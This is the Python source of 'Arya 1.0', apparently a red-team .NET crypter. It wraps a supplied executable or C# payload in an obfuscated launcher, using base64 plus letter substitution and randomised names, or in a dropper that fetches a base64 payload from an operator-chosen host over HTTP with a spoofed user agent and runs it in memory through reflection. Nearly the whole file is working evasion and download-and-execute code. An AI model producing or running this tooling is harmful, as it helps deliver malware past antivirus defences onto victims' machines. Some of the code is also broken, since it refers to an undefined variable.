#!/usr/bin/python

"""

Arya 1.0

.NET crypter that compiles C# source to an .exe, or takes an existing .NET
executable, and builds an obfuscated launcher or dropper that packages 
and invokes the original executable using reflection
    see - http://msdn.microsoft.com/en-us/library/f7ykdhsy(v=vs.110).aspx


Dependencies:



By: @harmj0y

"""

import string, base64, binascii, random, os, sys, argparse

VERSION = "1.0"


def b64sub(s, key):
    """
    "Encryption" method that base64 encodes a given string, 
    then does a randomized alphabetic letter substitution.
    """
    enc_tbl = string.maketrans(string.ascii_letters, key)
    return string.translate(base64.b64encode(s), enc_tbl)


def randomString(length=-1):
    """
    Returns a random string of "length" characters.
    If no length is specified, resulting string is in between 6 and 15 characters.
    """
    if length == -1: length = random.randrange(6,16)
    random_string = ''.join(random.choice(string.ascii_letters) for x in range(length))
    return random_string


def generateDropperCode(args):
    """

    Builds a dropper shell to download and b64decode a string from a 
    web server, and then use reflection to invoke the original decoded .exe
    
    """

    # args.r and args.host guaranteed to have a value at this point
    if not args.port:
        args.port = "80"

    payloadCode = "using System; using System.Net; using System.Text; using System.Linq; using System.Reflection;\n"
    payloadCode += "namespace %s {\n" %(randomString())
    payloadCode += "class %s {\n" %(randomString())

    getDataName = randomString()
    payloadCode += "\tstatic string getData(string str) {\n"
    payloadCode +=  "\t\tWebClient webClient = new System.Net.WebClient();\n"
    payloadCode +=  "\t\twebClient.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n"
    payloadCode +=  "\t\twebClient.Headers.Add(\"Accept\", \"*/*\");\n"
    payloadCode +=  "\t\twebClient.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n"
    payloadCode +=  "\t\ttry { return webClient.DownloadString(str); }\n"
    payloadCode +=  "\t\tcatch (WebException w){ return null; }}\n"

    rawName = randomString()
    assemblyName = randomString()
    methodInfoName = randomString()
    payloadCode +=  "\tstatic void Main(){\n"
    payloadCode +=  "\t\tstring %s = getData(\"http://%s:%s/%s\");\n" %(rawName, args.host, args.port, args.r)
    payloadCode +=  "\t\tif (%s != null){ \n" %(rawName)
    payloadCode +=  "\t\t\tAssembly %s = Assembly.Load(Convert.FromBase64String(%s));\n" %(assemblyName, rawName)
    payloadCode +=  "\t\t\tMethodInfo %s = %s.EntryPoint;\n" %(methodInfoName, assemblyName)
    payloadCode +=  "\t\t\t%s.Invoke(%s.CreateInstance(%s.Name), null);\n" %(methodInfoName, assemblyName, methodInfoName)
    payloadCode +=  "}}}}\n"

    return payloadCode


def generateLauncherCode(raw):
    """

    Takes a raw set of bytes and builds a launcher shell to b64decode/decrypt
    a string rep of the bytes, and then use reflection to invoke 
    the original .exe
    
    """

    # the 'key' is a randomized alpha lookup table [a-zA-Z] used for substitution
    key = ''.join(sorted(list(string.ascii_letters), key=lambda *args: random.random()))
    base64payload = b64sub(raw,key)

    payloadCode = "using System; using System.Collections.Generic; using System.Text;"
    payloadCode += "using System.IO; using System.Reflection; using System.Linq;\n"

    decodeFuncName = randomString()
    baseStringName = randomString()
    targetStringName = randomString()
    dictionaryName = randomString()

    # build out the letter sub decrypt function
    payloadCode += "namespace %s { class %s { private static string %s(string t, string k) {\n" % (randomString(), randomString(), decodeFuncName)
    payloadCode += "string %s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n" %(baseStringName)
    payloadCode += "string %s = \"\"; Dictionary<char, char> %s = new Dictionary<char, char>();\n" %(targetStringName,dictionaryName)
    payloadCode += "for (int i = 0; i < %s.Length; ++i){ %s.Add(k[i], %s[i]); }\n" %(baseStringName,dictionaryName,baseStringName)
    payloadCode += "for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { %s += %s[t[i]];}\n" %(targetStringName, dictionaryName)
    payloadCode += "else { %s += t[i]; }} return %s; }\n" %(targetStringName,targetStringName)

    encodedDataName = randomString()
    base64PayloadName = randomString()
    assemblyName = randomString()

    # build out Main()
    assemblyName = randomString()
    methodInfoName = randomString()
    keyName = randomString()
    payloadCode += "static void Main() {\n"
    payloadCode += "string %s = \"%s\";\n" % (base64PayloadName, base64payload)
    payloadCode += "string %s = \"%s\";\n" %(keyName, key)
    # load up the assembly of the decoded binary
    payloadCode += "Assembly %s = Assembly.Load(Convert.FromBase64String(%s(%s, %s)));\n" %(assemblyName, decodeFuncName, base64PayloadName, keyName)
    payloadCode += "MethodInfo %s = %s.EntryPoint;\n" %(methodInfoName, assemblyName)
    # use reflection to jump to its entry point
    payloadCode += "%s.Invoke(%s.CreateInstance(%s.Name), null);\n" %(methodInfoName, assemblyName, methodInfoName)
    payloadCode += "}}}\n"

    return payloadCode


def generateLauncher(args):
    """
    Generates a launcher executable.

    Takes the input .exe or .cs file, compiles it to a temporary
    location, reads the raw bytes in, generates the launcher code
    using generateLauncherCode() and writes everything out.
    """

    # if no resource specified, choose a random one
    if not args.r: args.r = randomString()

    # build our new filename, "payload.cs" -> "payload_dropper.cs"
    if not args.o:
        launcherSourceName = ".".join(pieces[:-2]) + pieces[-2] + "_launcher." + pieces[-1]
        finalExeName = ".".join(pieces[:-2]) + pieces[-2] + "_launcher.exe"
    else:
        launcherSourceName = args.o + ".cs"
        finalExeName = args.o + ".exe"
    
    # get the raw bytes of the original payload
    payloadRaw = buildTemp(args)

    # grab the launcher source code
    payloadCode = generateLauncherCode(payloadRaw)

    # write our launcher source out
    f = open(launcherSourceName, 'w')
    f.write(payloadCode)
    f.close()
    print " [*] Dropper source output to %s" %(launcherSourceName)
    
    # compile the dropper source
    print " [*] Compiling encrypted source..."
    os.system('mcs -platform:x86 -target:winexe '+launcherSourceName+' -out:' + finalExeName)
    print " [*] Encrypted binary written to: %s" %(finalExeName)
    print "\n [*] Finished!\n"


def generateDropper(args):
    """
    Generates a dropper executable.

    Takes the input .exe or .cs file, compiles it to a temporary
    location, reads the raw bytes in, base64's the code and writes
    it out to a local resource, generates the dropper code
    using generateDropperCode() and writes everything out.
    """

    if not args.host:
        print " [!] Host IP must be specified for dropper\n"
        sys.exit()

    # if no resource specified, choose a random one
    if not args.r: args.r = randomString()

    # build our new filename, "payload.cs" -> "payload_dropper.cs"
    if not args.o:
        dropperSourceName = ".".join(pieces[:-2]) + pieces[-2] + "_dropper." + pieces[-1]
        finalExeName = ".".join(pieces[:-2]) + pieces[-2] + "_dropper.exe"
    else:
        dropperSourceName = args.o + ".cs"
        finalExeName = args.o + ".exe"
    
    # get the raw bytes of the original payload
    payloadRaw = buildTemp(args)

    # write the raw bytes out to the resource file
    f = open(args.r, 'w')
    f.write(base64.b64encode(payloadRaw))
    f.close()
    print " [*] Base64 encoded .exe written to %s" %(args.r)

    # grab the dropper source code
    payloadCode = generateDropperCode(args)

    # write our dropper source out
    f = open(dropperSourceName, 'w')
    f.write(payloadCode)
    f.close()
    print " [*] Dropper source output to %s" %(dropperSourceName)
    
    # compile the dropper source
    print " [*] Compiling encrypted source..."
    os.system('mcs -platform:x86 -target:winexe '+dropperSourceName+' -out:' + finalExeName + " 2>/dev/null 1>/dev/null")
    print " [*] Encrypted binary written to: %s" %(finalExeName)
    print "\n [*] Finished!\n"


def buildTemp(args):
    """
    Compile the original payload source to a temporary location 
    and return the raw bytes.
    """

    if not args.i:
        print " [!] Input file must be specified\n"
        sys.exit()

    # if we already have an exe, return its raw bytes
    if args.i.split(".")[-1] == "exe":
        return open(args.i, 'rb').read()

    # if we have a C# payload
    elif args.i.split(".")[-1] == "cs":

        # output location for temporarily compiled file
        tempFile = "/tmp/" + randomString() + ".exe"

        # Compile our C# code into a temporary executable using Mono
        print(" [*] Compiling original source to %s" % (tempFile))

        # use Mono to bulid the temporary exe
        os.system('mcs -platform:x86 -target:winexe '+args.i+' -out:' + tempFile)

        # check if the output name was specified, otherwise use the one built above
        if len(sys.argv) == 3:
            finalExeName = sys.argv[2]

        # read in the raw paylode .exe bytes
        payloadRaw = open(tempFile, 'rb').read()

        # remove the temporary files
        os.system("rm %s" %(tempFile))

        return payloadRaw

    else:
        print " [!] Format not currently supported "
        sys.exit()


def title():
    """
    Print the tool title, with version.
    """
    os.system("clear")
    print '========================================================================='
    print ' Arya | [Version]: %s' %(VERSION)
    print '========================================================================='
    print ' [Web]: https://harmj0y.net/ | [Twitter]: @harmj0y'
    print '========================================================================='
    print "\n"



if __name__ == '__main__':

    title()

    parser = argparse.ArgumentParser()

    group = parser.add_argument_group('Arya options')
    group.add_argument('-i', metavar="INPUT", help='Input file to encrypt.')
    group.add_argument('-o', metavar="OUTPUTBASE", help='Output file base for source and compiled .exe.')
    group.add_argument('-l', action='store_true', help='Use the encrypted launcher.')
    group.add_argument('-d', action='store_true', help='Use the encrypted dropper.')

    group = parser.add_argument_group('Dropper options')
    group.add_argument('-r', metavar="RESOURCE", help='Resource name used with the dropper.')
    group.add_argument('--host', metavar="HOST", help='IP of the HTTP server to use for the dropper.')
    group.add_argument('--port', metavar="PORT", help='Port of the HTTP server to use for the dropper.')

    args = parser.parse_args()


    if args.l:
        generateLauncher(args)
    elif args.d:
        generateDropper(args)
    else:
        parser.print_help()